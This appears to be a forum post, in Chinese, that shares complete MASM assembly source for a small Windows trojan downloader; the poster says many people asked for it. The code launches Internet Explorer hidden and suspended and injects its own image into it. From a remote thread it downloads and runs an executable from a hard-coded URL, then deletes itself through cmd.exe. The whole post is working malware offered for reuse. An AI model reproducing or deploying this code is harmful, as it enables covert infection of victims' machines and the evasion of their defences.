无DLL,插IE下载者 3.5K

//好多兄弟都找我要这个,我就把源码帖在这里吧 .386 .model flat,stdcall option casemap:none include windows.inc include urlmon.inc include user32.inc include kernel32.inc includelib user32.lib includelib urlmon.lib includelib kernel32.lib Download proto .data szUrlmon db "urlmon.dll",0 szURL db "http://192.168.1.5/123.exe",24 dup (0) szFile db "c:\test.exe",39 dup (0) szCmdline db "c:\program files\internet explorer\iexplore.exe",0 szAdd db ';\cmd.exe /c del "';,0 quote db ';"';,0 .data? cbSize DWORD ? cdWritten DWORD ? pid DWORD ? hProcess DWORD ? hModule DWORD ? hThread DWORD ? startupinfo STARTUPINFO pi PROCESS_INFORMATION <> SelfPath db MAX_PATH dup (?) szCmd db MAX_PATH dup (?) .code start: invoke GetModuleHandle,0 mov hModule,eax mov edi,eax assume edi:ptr IMAGE_DOS_HEADER add edi,[edi].e_lfanew add edi,sizeof DWORD assume edi:ptr IMAGE_FILE_HEADER add edi,sizeof IMAGE_FILE_HEADER assume edi:ptr IMAGE_OPTIONAL_HEADER32 mov eax,[edi].SizeOfImage mov cbSize,eax lea esi,offset startupinfo assume esi:ptr STARTUPINFO mov [esi].cb,sizeof STARTUPINFO invoke GetStartupInfo,offset startupinfo mov [esi].wShowWindow,SW_HIDE mov [esi].dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES invoke createProcess,offset szCmdline,NULL,NULL,NULL,FALSE,create_SUSPENDED,NULL,NULL,offset startupinfo,offset pi lea esi,offset pi assume esi:ptr PROCESS_INFORMATION mov eax,[esi].dwProcessId mov pid,eax invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid mov hProcess,eax invoke VirtualAllocEx,hProcess,hModule,cbSize,MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE invoke WriteProcessMemory,hProcess,eax,hModule,cbSize,offset cdWritten invoke createRemoteThread,hProcess,0,0,addr Download,hModule,0,ebx mov hThread,eax invoke WaitForSingleObject,hThread,INFINITE invoke CloseHandle,hThread invoke CloseHandle,hProcess deleteSelf: invoke GetModuleFileName,NULL,offset SelfPath,MAX_PATH invoke GetSystemDirectory,offset szCmd,MAX_PATH invoke lstrcat,offset szCmd,offset szAdd invoke lstrcat,offset szCmd,offset SelfPath invoke lstrcat,offset szCmd,offset quote invoke Sleep,200 invoke WinExec,offset szCmd,SW_HIDE invoke ExitProcess,0 Download proc invoke LoadLibrary,offset szUrlmon invoke URLDownloadToFile,NULL,offset szURL,offset szFile,0,NULL invoke WinExec,offset szFile,SW_SHOW invoke ExitThread,0 Download endp end start